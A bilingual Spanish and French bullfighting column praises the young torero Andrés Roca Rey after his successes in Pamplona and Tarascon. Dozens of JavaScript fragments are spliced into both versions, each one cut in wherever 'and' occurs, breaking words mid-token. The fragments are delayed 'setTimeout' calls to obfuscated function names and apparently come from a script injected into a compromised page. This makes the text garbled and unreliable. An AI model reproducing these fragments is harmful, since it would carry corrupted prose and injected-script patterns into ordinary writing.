ROCA REY, CON LA ESCOBAROCA REY, AVEC LE BALAI

Un dicho taurino, casi obsoleto en la actualidad, era el que se aplicaba a un torero nuevo, cuandom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}ando irrumpía en la Fiesta encadenandom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}ando triunfos de manera imparable y mostrandom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}ando, a su vez, unas cualidades con horizonte de figura. De él se decía: “Ese viene con la escoba”. Porque “va a barrerlos a todos”.

Hoy, cuandom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}ando estamos en una etapa que nos permite gozar de una baraja de novilleros ilusionante e interesantísima –aunque los empresarios no se enteren y parte del público, tampoco–, quien viene con la escoba es Andrés Roca Rey. No sé si los barrerá a todos; pero su ascensión es imparable y la depuración de su toreo junto a la rotundidad de su valor, se multiplican a cada corrida que mata.

El pasado domingo en Tarascón volvió a ratificar su éxito sanferminero cortandom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}ando nada menos que seis orejas –mató un novillo extra por cogida de Lilian Ferrani–, para seguir avanzandom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}ando sin desviarse un milímetro de la línea recta que le acerca a su meta. Camina por ella tan seguro como lo hace ante los toros y parece tener tan claro su objetivo como despejada su mente ante las reses.

La última vez que lo vi torear fue en Pamplona, el pasado 5 de julio, y en ella me confirmó virtudes que le había anotado en Sevilla el día de su debut un mes antes, superó otras y me mostró nuevas cualidades que no hicieron sino agigantar a mis ojos su dimensión.

Me confirmó que quiere, quiere y quiere. Sí… quiere ser torero grandom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}ande. No deja pasar ni una ocasión de demostrarlo, sea en un quite, un alarde, un problema al que hay que superar. A nada rehúsa ni nada le aflige. También me confirmó su valor de veinticuatro quilates. No se le ve sufrir ante las reses. Sale de las volteretas con el ánimo inmaculado y no duda en meterse en la boca del lobo cuandom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}ando las exigencias del triunfo lo requieren.

En Pamplona, al descoordinado genio y brusquedad de su primero, le opuso la serenidad, la relajada firmeza, la templanza y la suavidad necesarias para convertir el gañafón en embestida y hacerlo ir tras el engaño más aún de lo que le vi en La Maestranza. Y cuandom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}ando llegó la hora del “arrimón” se dejó llegar la descompuesta aspereza del novillo a la frontera misma de los muslos sin que se le encogiera un alamar. Pero salió el segundo y, después de un recibo capotero de infarto que puso la plaza en pie, después de volver a ganarse la admiración del público en un inicio de faena en los medios con uno de los pases cambiados por la espalda más ajustado y limpio que recuerdo, vino la complicación. Todo lo que al novillo le sobraba de calidad, le faltaba de fuerza. Claudicaba al menor esfuerzo, se defendía aplomándose o acortandom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}ando el viaje. No era, pues, el novillo más adecuado para un torero valiente y poderoso. Y es aquí donde el novillero limeño me sorprendería gratamente, demostrándome que, además de las cualidades ya apuntadas, posee muñecas de azúcar y un alma de algodón. Mimó al novillo con un temple exquisito; ese temple que le da fuerza al que no la tiene y lo hizo ir detrás de una muleta de terciopelo, refrescante en su brisa sosegada, irresistible, imantadora, amiga. Sólo al presidente, o al asesor de turno –que son los que mandom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andan en la plaza de Pamplona–, no pareció calarle lo debido la faena, la estocada –estoconazo– y el conjunto de la tarde de este nuevo Rey de la novillería y le cerró la Puerta Grandom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}ande. Peor para el palco. Porque el torero salió catapultado de su actuación. Y, como ya señalé anteriormente, a la semana toreó en Tarascón para decirle al mundo –se dejó dar varias volteretas después de tener en el esportón cuatro orejas, para sumar las seis que cortó– que la palabra “conformismo” ha sido eliminada de su diccionario. Éste viene con la escoba. Y como los toros lo respeten y siga así tras su doctorado en Nimes, le va doler la cabeza a más de uno… Y a más de dos.

Un dicton taurin, presque obsolète de nos jours, s’appliquait au torero débutant quandom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}and il démarrait son parcours enchaînant les triomphes de manière imparable et affichant à la fois des qualités pour devenir figura. On disait de lui : « celui-ci vient avec le balai ». Car « il allait tous les balayer ».

Alors que nous traversons aujourd’hui une période qui nous permet de profiter d’un éventail de novilleros très intéressant et prometteur –même si des organisateurs ne l’ont toujours pas compris et une partie du public non plus-, celui qui arrive avec le balai est Roca Rey. Je ne sais pas s’il les balaiera tous, mais son ascension est imparable son toreo dépuré associé à un courage ahurissant, ne cessent de grandom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andir de course en course.

Dimanche dernier à Tarascon il ratifia son triomphe à Pampelune coupant pas moins de six oreilles –il affronta un novillo supplémentaire après l’accident de Lilian Ferrani- pour continuer à avancer sans se dévier d’un seul millimètre de la ligne droite qui le mènera à son objectif. Il s’y dirige avec la même assurance qu’il a devant les toros et il semble avoir à la fois son objectif à sa portée et les idées très claires devant le bétail.

La dernière fois que je l’ai vu toréer c’était à Pampelune, le 5 juillet dernier, et il m’a confirmé toutes les qualités que j’avais décelées en lui lors de sa présentation à Séville un mois auparavant, dépassant certaines et montrant de nouvelles qui ne firent que le grandom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andir à mes yeux. Il m’a confirmé, qu’il le veut, veut et veut. Oui…il veut devenir un grandom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}and torero. Il ne laisse pas passer la moindre occasion pour le prouver, que ce soit dans un quite, dans un détail, un problème qu’il faut qu’il faut surpasser. Il ne refuse rien et ne s’afflige jamais. Il m’a confirmé son courage qui vaut son pesant d’or. On ne le voit pas souffrir devant le bétail. Après s’être fait renverser il sort comme s’il ne restait rien pas passé et revient dans la gueule du loup quandom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}and il le faut pour triompher. À Pampelune, devant la violence décousue de son premier il opposa la sérénité, la fermeté relâchée, le temple et la douceur nécessaires pour transformer le coup de tête de la charge et la faire suivre le leurre encore plus que ce que j’avais vu à La Maestranza. Et quandom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}and il fallut s’ « arrimer » il laissa venir à lui l’aspérité décomposée du novillo jusqu’à frôler ses cuisses sans sourciller. Puis vint le suivant, et après une réception à la cape d’infarctus qui mit debout les arènes, après avoir de nouveau ébahi le public avec un début de faena au centre des arènes et les passes inversées de dos les plus ajustées et propres que je n’ai jamais vues, surgirent les complications. Tout ce que le novillo avait en trop de qualité, lui manquait de force. Il peinait à chaque effort, se défendait en chutant ou en coupant la charge. Ce n’était donc pas le novillo le plus adéquat pour un torero vaillant et puissant. Et c’est là que le novillero de Lima me surprit agréablement, me prouvant qu’à part les qualités signalées, il possède un poignet en sucre et une âme de coton. Il prit soin du novillo avec un temple exquis ; ce temple qui transmet de la force à celui qui n’en a pas et lui fit suivre cette muleta soyeuse, rafraîchissant comme une brise suave, irrésistible, telle un aimant, amie. Uniquement, ou l’assesseur du jour –ce sont eux qui commandom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andent dans les arènes de Pampelune- ne sembla pas avoir suffisamment apprécié la faena, l’épée –sacré coup d’épée- et l’ensemble de l’après-midi de ce nouveau Roi des novilleros et lui ferma la sortie par la Grandom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}ande Porte. Tant pis pour le palco. Car le torero sortit propulsé après sa prestation. Et, comme je l’ai signalé précédemment, la semaine suivante il toréait à Tarascon pour que tout le monde comprenne –il se laissa prendre à plusieurs reprises avant de couper les quatre oreilles, pour arriver aux six qu’il coupa- que le mot « conformisme » a été éliminé de son dictionnaire. Il vient avec le balai. Et si les toros le respectent et continue de la sorte jusqu’à son alternative à Nîmes, il va provoquer des maux de tête à plus d’un…et plus de deux.

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